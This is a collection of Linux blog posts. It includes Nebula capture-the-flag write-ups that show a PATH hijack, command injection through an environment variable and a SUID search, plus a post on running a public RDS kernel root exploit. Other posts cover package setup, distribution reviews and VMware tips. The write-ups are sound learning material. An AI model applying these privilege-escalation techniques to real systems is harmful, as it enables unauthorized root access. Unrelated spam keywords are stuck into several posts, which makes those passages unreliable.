After completing Nebula Level 01, I decided to quickly run into Nebula Level 02. After quickly looking at the code they have provided, it came evident that Level01, and Level02 were very similar, just different in the way you launch the exploit. Level01 was exploited by having a script named with the binary that was being called. In this exploit you want to use the USER variable, and assign the code you want to run to it.

Here is what I did to accomplish this exploit:

flag02@nebula:~$ pwd
/home/level02
level02@nebula:~$ chmod g+x exploit
level02@nebula:~$ USER='-e "I am going to get the flag"; ~/exploit'
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo -e "I am going to get the flag"; ~/exploit is cool")
I am going to get the flag
flag02@nebula:~$ getflag
You have successfully executed getflag on a target account

I’m now going to move onto Nebula Level 03, when I get a chance.

UPDATE:
Note: Not sure why the cat of exploit didn’t show (probably issues with wp-syntax and my theme), but exploit was just a script with :
#!/bin/bash
/bin/bash

Related posts:

1. Exploit Exersizes Nebula Level 00
2. Exploit Exersizes Nebula Level 01

After completing Nebula level 00, I’ve finally had time to move to Level 01, and give it some thought.

In level01 you’re given a short code example, and asked to exploit it. After looking at the code for a short period, it was clear that the issue was in the line:

system("/usr/bin/env echo and now what?");

I’m not a C programmer, so I had to look up the other stuff, but when I realized that echo was not an explicit path, it was clearly simple that it was the exploit.

To exploit this I did the following:

PATH=~:$PATH

In /home/flag01 I created a script named echo, with the following content:

#!/bin/bash

/bin/bash

Make the script executable with chmod +x, then run /home/flag01/flag01:

level01@nebula:~$ chmod +x echo
level01@nebula:~$ /home/flag01/flag01
flag01@nebula:~$ getflag
You have successfully executed getflag on a target account

Now onto Nebula Level02 when I have some time

Related posts:

1. Exploit Exersizes Nebula Level 02
2. Exploit Exersizes Nebula Level 00

Recently I’ve became very interested in more of the security aspect of Linux, and Computers in general. That’s when I came across the site www.exploit-exercises.com/. When I have time, I’m looking to complete their exercises and hope to document each one here.

I’ve first started with Nebula. This post is to document Nebula Level 00, which was pretty basic.

It was solved by finding the executable binary with the SUID set as flag00 with the following:
find / -type f -executable -user flag00 -perm -4000 2>/dev/null

Which gave the output:
Congrats, now run getflag to get your flag!

I then ran getflag, and got the following output:
You have successfully executed getflag on a target account

Now onto Nebula level 01

Related posts:

1. Exploit Exersizes Nebula Level 02
2. Exploit Exersizes Nebula Level 01

The KDE developers have included Strigi and Nepomuk to help users find files on their computer. You can read about strigi here or nepomuk here.

If you’re a power user, or someone that has a very organized desktop, then removing indexing, and desktop search will help increase your performance. This article is to quickly show you how you can lock in performance gains, and disable nepomuk & strigi

Here’s how you disable:

Go to systemsettings (Personal Settings or Configure Desktop)
Go to Desktop Search

Uncheck the boxes “Enable Nepomuk Semantic Desktop” and “Enable Strigi Desktop File Indexer”. (If you uncheck nepomuk it’ll stop strigi).

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As many of you know, SUSE decided to drop Oracle Java starting with openSUSE 12.1. This decision was due to licensing changes, that we all knew were coming once Oracle swallowed up SUN Microsystems (R.I.P. SUN & OpenOffice).

So, if you still require the Oracle JDK, then here’s how you install it (I require it for work reasons (Juniper VPN)).

Download the RPM version of Java from www.oracle.com (in my case I downloaded 1.7u1).

The one I downloaded was: jdk-7u1-linux-i586.rpm

Install the jdk with yast2, zypper, or by double clicking the rpm within dolphin or nautilus:

sudo zypper in jdk-7u1-linux-i586.rpm -y

Now you have to setup the alternatives so you can use switch between Iced Tea, which is default, and the Oracle Java.

First install the alternative:

sudo /usr/sbin/update-alternatives --install "/usr/bin/java" "java" "/usr/java/jdk1.7.0_01/bin/java" 40

Now install the alternative for your browser plugin:

sudo /usr/sbin/update-alternatives --install "/usr/lib/browser-plugins/javaplugin.so" "javaplugin" "/usr/java/jdk1.7.0_01/jre/lib/i386/libnpjp2.so" 40

Note: the first quotes are pointing to the path, the the name of the alternative script, and the 3rd is the location to point to. The numbers at the end is the priority in case it was set to automode.

Now you have to configure the alternatives, first we’ll do java:

sudo /usr/sbin/update-alternatives java

Choose the number associated with /usr/java/jdk1.7.0_01/bin/java, in my case it was 1.

Now lets configure javaplugin:

sudo /usr/sbin/update-alternatives javaplugin

Choose the number associated with /usr/java/jdk1.7.0_01/jre/lib/i386/libnpjp2.so, in my case it was 1.

You’re all set, now when you go to your browser, go to about:plugins, and you’ll be able to see something like below:

First, for the haters. I do linux for a living on servers, so I’m used to sudo, and that’s why I use it on my laptop.

Second, also for the other haters. Yes, I could have added some super high priority and kept it on auto, but I like doing it manually.

For the rest, you can check to see what you currently have set by running:

/usr/sbin/update-alternatives --query (or --display) java (or javaplugin)

You can test your java at oracles website:

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Data Recovery

With more and more businesses using VMware to run virtual machines that run their business critical applications, what are the options available on the market and what advantages and functions do they have for data recovery?

VMware is the standard method of running multiple different operating systems on one server or PC. It allows easy support for Windows and Linux running side by side as many users require as well as letting users create isolated test environments to try out new software installs as well as to conduct riskier activities such as surfing the web. air conditioning san antonio . NetApp offer businesses scalable data storage platforms aimed at cloud and virtualized server environments. The backups created by the process are automatically verified and logged and it allows a remote recreation for the most efficient recovery from a data disaster event. Finally one of the most useful features is the fine grained recovery allowing you to add or reverse the recovered changes over the course of minutes of data base uptime.

One of the advantages of this set up is the ease of testing a data recovery simulated situation using additional virtual machine copies while the real database continues in full business use as before. Uptime is increasingly becoming the new aim of data recovery methods as storage options are sufficiently cheap and available that it is possible to maintain detailed and multiply redundant backups of all a businesses` data and machine details.

More businesses are recognising the advantages of fast and automated data recovery allowing downtimes to be reduced to a few minutes using the combination of VMware and NetApp. If you use VMware SRM with NetApp`s SnapManager or SnapMirror service it will automatically have a series of backups of your SQL Server database. VMware Sphere allows full machine recovery down to single file recovery at a far lower price than many other market data recovery options and at far lower cost in man hours than attempting to do it manually.

If having taken all of these steps your business suffers a major failure and does not succeed in its own automated or manual recovery of the data you may need the services of a professional data recovery company, as one of the leading locations for data recovery London has large numbers of highly professional businesses that are able to offer a wide range of data recovery service on all platforms and from all types of storage.

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If you’re looking for Fluxbox 1.3.1 on Fedora 14, then you’re in luck. I’ve gone through the .spec and cleaned it up a bit, along with a version bump, and have built the 1.3.1 packages in SUSE Build Service under my home directory. What is fluxbox?Fluxbox is a windowmanager for X that was based on the Blackbox 0.61.1 code. It is very light on resources and easy to handle but yet full of features to make an easy, and extremely fast, desktop experience. air conditioning companies . washer and dryer repair . It is built using C++ and licensed under the MIT-License. (from fluxbox.org)You can upgrade using the following in your repo file:

[fedora-fluxbox]name=Fluxbox Packagesbaseurl=http://download.opensuse.org/repositories/home:/eclipseagent:/Fluxbox/Fedora_$releasever/enabled=1gpgcheck=0

Then install running:


sudo yum update fluxbox

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Fluxbox has had its first release since 2008. This release brings me much joy, as a Fluxbox user, it solidifies the point that Fluxbox is still being maintained upstream. mobile mechanic . the lasik center . What is fluxbox? Fluxbox is a windowmanager for X that was based on the Blackbox 0.61.1 code. It is very light on resources and easy to handle but yet full of features to make an easy, and extremely fast, desktop experience.Here is a list of fixes / changes from fluxbox.org:

Added support for bidirectional text, #2801836.Allow to override ‘Focus New Windows’ via .fluxbox/appsNew actions:ActivateTabArrangeWindowsVerticalNew ‘MoveN’ and ‘ClickN’ action support for keys fileNew focus model ‘StrictMouseFocus’. This will affect focus when closing, moving, lowering windows, changing desktops, etc, whereas the ‘MouseFocus’ model will only change focus when you move the mouse.New “background: unset” property for use in overlays.Allowing relative paths for background images in style files.Allowing matching screen number in ClientPattern.Removed rootcommand from init, as fbsetbg is run automatically nowadays.Removed line style resources from init file.

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Here are a bunch of screenshots for the installation of openSUSE 11.4 using the GNOME Live CD. The screenshots are self explanatory and shouldn’t require any additional explanation. Wholesale Clothes . First you boot up to the CD, then you enter in questions that it asks clearly. party city locations . Lastly you’ll either sit bored and watch it install, or do something else more worthwhile with your time. After that’s done, it’ll reboot, complete its First Boot Configuration, and lastly boot into GNOME, where you’ll be ready and roaring to go. So just check them out, and enjoy your new installation of openSUSE 11.4. Enjoy them if you will.

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Recently I re-installed Arch Linux onto my Laptop, and upon installing Chromium (9) and copying libflashplayer.so (the Beta that is full x86_64 bit compatible) into ~/.mozilla/plugins I was faced with a Black Box when I tried to play anything that was Flash. However, in about:plugins, flash was installed just fine.

To re-mediate this issue you need to install curl. Here’s what I saw and how I fixed it.

First when I was trying to listen to some Pandora, while whooping ass on Black Ops, I was greeted with this nice black box:

So I installed curl:

And then I got the party started (seriously It was a coincidence that the exact song came up):

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My name is Prashanth Venkataram, and I write and manage the blog Das U-Blog by Prashanth, where I write about open-source software and people’s freedoms relating to technology. I’ve used Openbox a bit, so today I’ll be comparing two Arch Linux-based Openbox Distributions: ArchBang and CTKArchLive.

A few years ago, CrunchBang (“#!”) Linux became very popular as a lightweight Ubuntu-based distribution that made the Openbox window manager more palatable and appealing. Since then, it’s only gotten better and more popular, along the way ditching the Ubuntu base for Debian and gaining an Xfce version on the way. Because it was the first very popular Openbox distribution, it has inspired the creation of other distributions that use Openbox on top of various other base distributions. For example, Madbox, which I have recently reviewed, is based on Ubuntu to fill the gap from #!’s move to Debian. The two I’m testing today, CTKArchLive and ArchBang, are, as you can probably guess by their names, based on Arch Linux. Aside from Chakra GNU/Linux, a KDE-using distribution that’s sort of based on Arch that I’ve tested before for FreeTechie.com, I’ve never really used Arch before. Neither of these distributions claim to cater to relative newbies like Chakra does, so I may have to play the whole manual configuration thing by ear, as I’ve never done that before in depth. I will say, however, that I have tried the live session of a previous ArchBang release before briefly in a live session. Continue reading to see how each one turns out. I tested both of these by using the MultiSystem multiboot USB creation script on the two ISO files and trying each via a live USB system. As I just want to focus on the live sessions, I did not install either of these.

ArchBang
The first one I tested was ArchBang 2011.01 “Symbiosis”. After rebooting, changing the BIOS, and rebooting again, I got to the MultiSystem boot menu. I selected the default ArchBang menu entry, saw a bit of text, and then…a black screen. That was frustrating. I tried this once more just to be sure, and got the same result. I then tried the “failsafe” menu entry, and that seemed to work out well. After a scrolling wall of text came the desktop.
The default desktop looks decent. I think the wallpaper has a little too much going on, though; consequently, it looks to be a bit hard on the eyes. The tint2 panel at the top looks very nice, though; it contains a window switcher, a system tray, and a clock. The system tray has applets for both volume and network management, while the clock also contains a calendar applet. Conky is also present on the left. That’s cool. The Openbox right-click menu is pretty full and seems to be heavily modeled after the menu in #!, which is a good thing, to be sure. Unfortunately, as the “failsafe” option meant using the generic VESA graphics driver, the maximum resolution was 1024 by 768, which looked a bit out of place on my laptop whose native (and maximum) resolution is 1366 by 768. Finally, in terms of the aesthetics, the default GTK+, Openbox, and icon themes all look a bit too dark and garish. I’m just not a huge fan of those over-the-top dark techie styles. It’s bearable, though.

Chromium is the default browser, and it worked very well, which is nice. (This also meant, of course, that my ethernet connection was configured and selected out-of-the-box, which is quite nice for an Arch-based distribution). It seems like most codecs are installed out-of-the-box, given that YouTube and similar Adobe Flash-heavy sites worked well. (This also meant that my sound card was detected fine, which is also nice.)

Unfortunately, Thunar is the default file manager, and while I appreciate it for its light weight, my biggest beef with it continues to be its lack of tabbed browsing. I would much prefer something like PCManFM.

I tried installing Cheese Webcam Booth, and this is where I ran into my first challenge, owing to my lack of experience with Arch rather than any real issue with ArchBang. Unlike Chakra, ArchBang has no graphical package manager. The only one present is the CLI Pacman from Arch (which, interestingly enough, is aliased as “Packer” in ArchBang, but typing “pacman” still works all the same). I tried to do “su” and then “pacman -S cheese”, but for some reason nothing worked. I did “pacman -Syy” to update the list of packages, but even that didn’t work. I then looked on the Arch wiki and found out that the repository mirrors might be commented out in a configuration file. I then went to edit (as root) /etc/pacman.d/mirrorlist and uncommented all the requisite mirrors. I then tried the above commands again and they worked beautifully. I always thought APT was pretty quick, but boy is Pacman fast. I will say though that Pacman’s speed alone won’t be enough to convince me to switch to Arch or one of its derivatives. After installing Cheese Webcam Booth, I ran it to find that it recognized my integrated webcam and mic immediately. Awesome!

I did the same thing with Skype, and that installed well; that said, when running it, it recognized my mic, but it seemed to hang while trying to recognize my webcam. Oh well, at least it’s better than nothing.

In terms of appearance and applications, this latest ArchBang release is modeled heavily after the latest #! release (version 10 “Statler”). Even besides Chromium and Thunar, also present are Scrot to take screenshots, Obmenu to edit the Openbox menu, the AbiWord word processor, the Gnumeric spreadsheet program, Leafpad text editor, and Xcompmgr for compositing. Conky has much the same information and even the same keyboard shortcuts (well, not for Conky per se, but information for the desktop as a whole). Even the Openbox menu is organized very similarly to that of #!. Even more telling is what’s not present: a chat program, a mail program, games, and a few other things. Plus, in terms of appearance and tricks, when compositing is turned off, the terminal pulls a similar trick as in #! by displaying the portion of the wallpaper that it is covering even if it is on top of another window. Compositing does work beautifully, at which point the terminal becomes partly transparent, though I think it’s a little too transparent and makes the text a bit too hard to see.
One difference is that Geeqie is the default image viewer; it displays newly-taken screenshots. I found its interface a bit confusing; in any case, I didn’t really explore it too much.
RAM usage at idle, judging from Conky, was around 90 MB. That’s pretty darn good, if you ask me.
Finally, when I was ready to shut down, I got a really pretty shutdown menu. It’s even nicer-looking than the one in #!, though it has the same structure.

Well, that’s all I have to say about ArchBang. With a couple fairly minor exceptions, it seems to be a pretty faithful representation of what #! would be like if it was based on Arch, and I like that.

CTKArchLive
After ArchBang, I tested CTKArchLive 0.6. It’s a somewhat newer project, and before this release with the inclusion of the English language pack it was only available in French by default. It too seems to aim for a nice, lightweight Arch-based Openbox environment.

After rebooting, I got to the boot menu, and selected the menu entry for CTKArchLive in English. (The only other option was French.) Unfortunately, I faced the same problem that I initially did in ArchBang, and here I had no “failsafe” option. Then, I figured that maybe if I included some of ArchBang’s “failsafe” boot options in CTKArchLive’s menu entry, it would work. I pressed CTRL+E at the boot menu on CTKArchLive’s menu entry, typed in “xorg=vesa” and “nomodeset” (both without quotation marks) at the end of the first run-on line, pressed CTRL+X, and went on my way. It worked, and I was able to get to the desktop.

The default desktop looks pretty nice, with a nice-looking wallpaper and an Fbpanel (Fluxbox panel) on the bottom. The only applets present on Fbpanel are a main Fbpanel menu (although this is an Openbox distribution) on the far left and a system tray and clock with a calendar on the far right. All the space in the middle is reserved for window buttons, although of course it is possible to add more applets. In addition, the right-click Openbox menu is also present; although it has everything the Fbpanel menu has and a couple more things, the arrangement is different. Also, as evidenced by installing new applications, the Fbpanel menu updates automatically, while the Openbox menu must be manually edited to show installed or get rid of removed applications. There are two interesting features of the desktop, the first of which is that it is possible to enable desktop icons, though the only icon present when that option is clicked in the Openbox menu is the “Documents” folder icon.

This is because out-of-the-box, Openbox isn’t capable of handling desktop icons; a secondary desktop icon manager like ROX-Filer must be used, and typically most Openbox distributions don’t include that capability. The second interesting feature is that if Fbpanel doesn’t take your fancy, tint2 is also present. However, to switch, it is important to autohide the existing panel and then fix the new panel, all available in the Openbox menu; I didn’t try the reverse order of actions, but I suspect the two panels will overlap somehow and look really messy. Tint2 of course only has a window switcher, a system tray, and a clock (without a calendar, unfortunately), the latter two of which are on the far right. This obviously means that there’s no main menu accessible on the panel, though right-clicking on any empty panel space brings up the Openbox menu. Finally, in terms of aesthetics, the GTK+, Openbox, and icon themes all look too dark and garish, even more so than those used in ArchBang. Oh well, I can live. In addition, as I used the VESA graphics driver, the maximum resolution was, as in ArchBang, 1024 by 768.

Unfortunately, trying the browsers led to errors in loading pages. This is because the wired network wasn’t selected out-of-the-box, so I had to load Wicd from the menu and press the button to connect to the wired network. After that, everything worked fine.
The browsers available are Midori and…Arora? I’ve heard of Arora before, but I’ve never used it; it’s the Qt counterpart to Midori, the lightweight WebKit-based GTK+ browser. Given that this desktop is Openbox with GTK+, I’m not sure what the point of this random Qt application here is. Anyway, I tried out Arora, and it seems like a fairly pleasant, stable, and usable browser. It’s pretty fast as well. That said, no proprietary codecs seemed to be installed out-of-the-box, so I decided to install them.

As in ArchBang, CTKArchLive has no GUI package manager; only the CLI Pacman is present. Thankfully, all the requisite repositories were enabled from the start, so a simple “su” followed by a “pacman -Syy” and a “pacman -S flashplugin” installed Adobe Flash quickly. After that, it worked in Arora, though strangely enough, I was asked to click a button in the middle of the YouTube video I tried labeled “Load Flash” for the video to work. I guess this is good in that Adobe Flash components don’t automatically load in order to preserve performance on older systems. Also, the sound card was detected fine, which is good.

I used similar commands to install Cheese Webcam Booth and Skype, both of which produced identical results to those in ArchBang. Plus, Skype could use already-installed Qt libraries, so the installation went even a little faster.

PCManFM is the default file manager, which is nice for its light weight and its tabbed browsing.

The terminal, unfortunately, doesn’t pull the cool trick of displaying the part of the background image that it covers; plus, it has no window borders, so it isn’t obvious how to close that window unless Fbpanel is used (where it’s possible to right-click the window button and choose to close it).

Pidgin is installed for instant messaging, while Sylpheed is present as the mail client.

Neither the screenshot utility Scrot nor the menu editor Obmenu were installed, so I had to install these through Pacman as well. After that, I was able to take screenshots fine.

Some other installed applications include AbiWord, Gnumeric, Leafpad, some multimedia applications, the Tux Racer game (which didn’t work because of the generic 2D graphics VESA driver), the GPicView image viewer, GIMP, and GTKam (KDE’s Digikam for GTK+, I think). For the multimedia applications, a song is even included in the home folder for testing purposes. Xcompmgr is present for compositing as well.
Unfortunately, I couldn’t gauge RAM usage because the Htop system monitor didn’t display numbers for total RAM usage.
Unlike ArchBang, which has a nice shutdown menu, CTKArchLive’s shutdown main menu option is just a call to “sudo shutdown -h now”.
Overall, it seems like CTKArchLive just goes its own way in terms of applications and desktop appearance, where ArchBang tries hard to emulate #!.

Verdict
1. ArchBang
It’s more mature and gave me less trouble, from the boot process to recognizing the network to letting me do things like take screenshots and gauge RAM usage for this review. That said, the disabling of repositories by default is a little annoying.
2. CTKArchLive
It’s a younger project, to be sure, and it does things its own way rather than trying to emulate a particular project, but the fairly serious boot and network problems relegate it to runner-up.

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family law lawyers . experiance . Have you ever needed to know the count of VM’s in your environment ran Windows Server, or Linux? Well, the following one liner will get you that count (as long as the VM’s are currently running with VMware Tools).For Windows Servers you could do:

(Get-VMguest * | Where-Object {$_.OSFullName -like "*Windows Server*" }).Count

For Linux you could do:

(Get-VMguest * | Where-Object {$_.OSFullName -like "*Linux*" }).Count

You could get it per cluster if you wanted to by starting with Get-Cluster You can obviously get the total number of VM’s from your environment by running:

(Get-VM).Count

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This is guest blogger Prashanth Venkataram, and I write and manage the blog Das U-Blog by Prashanth, where I post reviews of Linux distributions and software as well as my thoughts about the current state of science, technology, and people’s freedoms (especially with regard to technology).

Today I will be reviewing Chakra 0.3.0 “Ashoc”.
Many of my regular readers have heard a couple times before that Chakra is an Arch-based KDE distribution. However, since its alpha releases, it has diverged enough from Arch and KDEmod to become to Arch what Ubuntu has become to Debian: while they share package types and many upstream repositories, there will be quite a few incompatibilities. So while they are fundamentally tied together, they are at the same time now essentially separate projects. Though Chakra and KDEmod made each other more popular within the Arch community, now Chakra is splitting from the KDEmod project and creating its own Arch-based implementation of KDE.

This week, the developers have released version 0.3.0 “Ashoc” into the wild; I have previously reviewed version 0.2.0 “Jaz” and came away slightly disappointed by Chakra’s GUI package installer CInstall and the choice of Konqueror over Rekonq, the latter of which was included in the alpha releases. Continue reading to see if any of these issues have been rectified. I wanted to test this through a live USB, but UnetBootin got hung up trying to create the live USB, so I settled for a VirtualBox test with 1 GB of RAM allocated to the guest OS; what this also meant is that I couldn’t test peripherals like my webcam.

When I started the virtual machine, I was greeted by a nice-looking GRUB screen, followed by a bunch of text. This was then followed by an extremely well-done KDE splash screen (unique to Chakra) which segued into the KDE desktop. I really like the combination of the blue wallpaper and dark Plasma theme; it gives the desktop the feeling of being simultaneously slick and soothing. The desktop is otherwise standard KDE, with a Folder View Widget showing some application shortcuts and a Kickoff menu at the bottom-left.

As I mentioned earlier, the Chakra developers dumped Rekonq for Konqueror, probably to build a better impression of stability for a post-alpha release (which would have been marred by the instability of Rekonq at that time). Well, now Rekonq is back, and it’s better than ever before. It now sports an “Awesome Bar” similar to Mozilla Firefox, and its interface is more compact, with the stop/reload buttons combined into one and the menu being put into a button on the side. Rekonq seemed to render most pages fine, and it never crashed.

The other big highlight is the collection of huge improvements to CInstall, which is now not just usable but also arguably a worthy competitor to programs like PackageKit and Synaptic (though it needs a bit more work to get to Mint Software Manager-levels of refinement). This time I was easily able to install new software, including Adobe Flash (where I was unable to before); not once did CInstall crash or complain.

Otherwise, the suite of software included is essentially the same relative to version 0.2.0. Though Chakra has generally been stable throughout its releases, just to reinforce the point, KDE never crashed once. Even better, Chakra never felt slow at any point in the live session. With confidence, I proceeded to the installer.

The Chakra installer, Tribe, has got to be one of the most beautiful and easy installers I have ever used, and is certainly competitive with Ubiquity and Anaconda. It has a really cool 3D globe that let me pick my city (to set up my time zone, keyboard layout, and language), though there was a bit of confusion in that some locations weren’t clickable cities. The addition of new users is really well done and couldn’t possibly be made simpler. The partition manager, though not quite as simple as the Ubiquity sliding bar, is pretty simple, though there could be a little more explanation included for new users (e.g. what ‘/’ and “linuxswap” are). After proceeding past the proverbial “point of no return”, I was greeted with a nicely-done slideshow talking about Chakra and the included programs. The installation itself was relatively quick (probably around 10 minutes), and at the end of that, I was even offered to add new programs within the installation program (i.e. without needing to reboot first), which was really nice. I declined, and with that, I was ready to reboot.

Unfortunately, this is where the fun ended. When I rebooted, Chakra seemed to boot properly, but the KDE session seemed to be just the cursor on top of a black screen. Judging from the Chakra forums, it seems like this is a known problem (though not just stemming from installations where the users also opt to install additional packages at the end), but this is pretty darn serious.

So what’s the verdict? I was really pleased with the live session, as it seemed to address my main gripes with the previous version. The installer was also a real treat to use. However, this was all marred by a nonworking installed session, which is essentially a show-stopper. Hopefully this gets fixed either in an update to “Ashoc” or in the next version 0.4.0 “Cyrus”, but I hope that “Cyrus” doesn’t bring a whole bunch of additional bugs after fixing this one. Chakra is really promising and probably one of the best KDE live CDs around, but it really isn’t installable at the moment.

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Voice recognition software is an extremely productive tool for people who
produce a lot of text. This software can write as fast as you can speak, and
with a bit of training, the accuracy is generally excellent. If you’re a writer,
for example, and you need to do an article on car insurance which can include
a lot of technical information, drafting time can be a real problem. Voice
recognition software can reduce hours of work to minutes.

Learning to use voice recognition software

This software uses a combination of voice recognition, vocabulary and training
functions to achieve accuracy. Because everybody speaks differently, and most
people unconsciously mispronounce words, there is some learning involved
– For both you and for the software. The learning process is actually pretty
quick, but you do need to be patient, and understand the situation in relation
to what you say and what the software transcribes.

This software effectively transcribes your speech, verbatim. It should be
recognized that part of the learning curve includes learning how to use the
microphone correctly, and practice is required. The voice recognition software
also responds to volume, and if your voice is too loud the likely result is that
you will get a transcription result different to that which you intended.

You will find that as you practice, your fluency and the accuracy of the voice
recognition software transcription will increase. Your speed will also improve,
usually pretty drastically, in the course of a week or so, depending on how
much you practice.

Voice recognition software for professionals

People producing a lot of text in the course of professional business, like
writers, lawyers, consultants and people in advertising and marketing,
can benefit greatly from voice recognition software. There is one caveat –
Accuracy.

It is absolutely essential to conduct a thorough editing of all text after
dictation. Voice recognition software is quite powerful, and surprisingly

sensitive. It is possible that small sounds may be transcribed as text, usually
because the mouth is too close to the microphone. Most voice recognition
software has noise reduction settings which are invaluable for reducing this
effect, but it is also advisable to do a full edit on principle for quality control
purposes, like normal proofreading.

The professional uses of voice recognition software are virtually endless, but
its greatest value is definitely improving the efficiency of drafting processes.
As most professionals know, drafting can be a true ordeal, involving the use
of a lot of time. In the car insurance article example referred to above, voice
recognition software makes it possible to deal with the important technical and
legal aspects of getting a car insurance quote, instead of spending a few hours
back spacing and correcting textual errors.

Voice recognition software used properly can achieve a quite high level of
accuracy and reduce the physical strain of typing. That’s great for the authors,
who can concentrate on the important content issues rather than painstakingly
producing text and cursing their typing speeds.

The good news – Good voice recognition software is comparatively cheap, and
very easy to install. If you’ve got a microphone, check it out.

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Recently it was reported by VSR Security that Linux Kernel versions 2.6.30+ are affected by an exploit due to the implementation of RDS (Reliable Datagram Sockets).

Linus Torvalds has committed a patch upstream to close the exploit. VSR Security has released a proof-of-concept exploit, to show the severity of the exploit.

You can compile the exploit using:
gcc linux-rds-exploit.c -o CVE-2010-3904-exploit

Upon running the binary on an affected machine, you’ll get:

[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses…
[+] Resolved rds_proto_ops to 0xf7f577b0
[+] Resolved rds_ioctl to 0xf7f52000
[+] Resolved commit_creds to 0xc04596eb
[+] Resolved prepare_kernel_cred to 0xc04595e9
[*] Overwriting function pointer…
[*] Triggering payload…
[*] Restoring function pointer…
[*] Got root!
sh-4.1#

For your machine to be affected you need to have to be loaded. Which can be checked with:
lsmod | grep rds
Which would return:
sh-4.1# lsmod | grep rds
rds 52948 4

If your machine is not affect the run of the above binary would result in a message like so:

[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Could not open socket.

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If you’re a puppet user and running SLES and have been looking for the latest version shipped via an RPM, then you’re in luck. california divorce attorney . I’ve been building packages recently for SLES and openSUSE with the recent releases of Puppet because in my organization I’ve implemented puppet to handle configurations (of sorts) for many of my servers (currently development). You can get the latest packages using the openSUSE BuildServer in my repository, which can be found: http://download.opensuse.org/repositories/home:/eclipseagent:/puppet/

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As with any Ubuntu release, Ubuntu 10.10 has quite the hype train backing it, and its release. But this time, they backed it up better then most others. With the 10.10 release, they shipped a pretty impressive netbook edition, an updated installer and an opportunity to test it “in the cloud”.

Here are a few articles around the web that talks about some things Ubuntu 10.10:
http://arstechnica.com/open-source/news/2010/10/ubuntu-1010-arrives-with-impressive-new-netbook-environment.ars
http://www.extremetech.com/article2/0,2845,2370515,00.asp
http://www.linuxcritic.com/ubuntu-maverick-meerkat-10-10-review/

Once I have more time, I plan on giving better in depth reviews of the major Linux distributions again. Currently personally I’m running Fedora 13, but will be switching to to openSUSE 11.4 once it’s released.

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VMware doesn’t seem to provide a very good way to get the version of your VMware tools currently installed on your server. However, you can grep the vmware-config-tools.pl to get the current build number with:
grep ^\ \ \$buildNr /usr/bin/vmware-config-tools.pl | awk -F\' '{ print $2 }'

You’d get an output similar to:

grep ^\ \ \$buildNr /usr/bin/vmware-config-tools.pl | awk -F\' '{ print $2 }'
4.0.0 build-236512


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Are you sick of Gnome? KDE? or XFCE? Do you have a very old machine that you want to run Linux on, but the newer Desktop Environments are just too clunky? Well thanks to Linux, you have a choice of which Desktop Environment or Window Manager you want to use. I personally use Fluxbox as my Window Manager, and have had a great experience with it on Fedora. So, I decided with the recent release of openSUSE 11.3, I’d give it a shot on the new distribution release. I first started by installing openSUSE 11.3 onto my personal laptop, and opted for the minimal X install so that my machine wouldn’t be cluttered. florida tile . georgia lawyer . After the installation I booted into the default Window Manager, TWM.Next I added the Window Manager repository so that I’d have access to Fluxbox, and also added the X11:Utilities repository so I’d have access to feh, which is a great image viewer, and is also a application that will allow you to set your background while in various Window Managers. *** Bonus ***The Display Manager I use is lxdm, previously it was SLIM but SLIM seems to be pretty much abandoned upstream, so I decided to support the LXDE movement.You can add the said repositories by doing the following: sudo zypper ar -f http://download.opensuse.org/repositories/X11:/windowmanagers/openSUSE_11.3/ openSUSE 11.3 WindowManagerssudo zypper ar -f http://download.opensuse.org/repositories/X11:/Utilities/openSUSE_11.3/ openSUSE 11.3 X11 UtilitiesNow, you can install fluxbox, slim and feh using: sudo zypper in fluxbox feh lxdmNow you’ll have to configure fluxbox to be your new default Window Manager, and configure LXDM to be your default Display Manager. We can do this using the sysconfig yast2 module, or we can modify the following files in /etc/sysconfig:windowmanagerdisplaymanagerYou want the following settings in /etc/sysconfig/displaymanager:DISPLAYMANAGER=”lxdm”And the following setting in /etc/sysconfig/windowmanager:DEFAULT_WM=”startfluxbox”Once you’re done, you can reboot (or just log out) and be greeted to a nice new LXDM installation, and log in to your nice new fluxbox installation. I’ll write later on customizing Fluxbox and LXDM.

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browser download . florida tile . While working on deploying puppet 2.6.0 onto RHEL4, I found that the supported ruby version of 1.8.1 does not have the right support for default_argv via optparse, thus causing the following error when trying to start puppet: $ sudo su - -c 'puppet agent --trace --debug --test'/usr/lib/site_ruby/1.8/puppet/application.rb:267:in `option_parser': undefined method `default_argv=' for # (NoMethodError)from /usr/lib/site_ruby/1.8/puppet/application.rb:333:in `parse_options'from /usr/lib/site_ruby/1.8/puppet/application.rb:332:in `each'from /usr/lib/site_ruby/1.8/puppet/application.rb:332:in `parse_options'from /usr/lib/site_ruby/1.8/puppet/application.rb:298:in `run'from /usr/lib/site_ruby/1.8/puppet/application.rb:298:in `exit_on_fail'from /usr/lib/site_ruby/1.8/puppet/application.rb:298:in `run'from /usr/lib/site_ruby/1.8/puppet/util/command_line.rb:55:in `execute'from /usr/bin/puppet:4However, I have decided to go ahead and build (using the openSUSE Build Service) ruby 1.8.5 packages for RHEL4, and deployed them to a local repository here at my place of business. If you’d like them, you can get them here: http://download.opensuse.org/repositories/home:/eclipseagent:/ruby/RedHat_RHEL-4/

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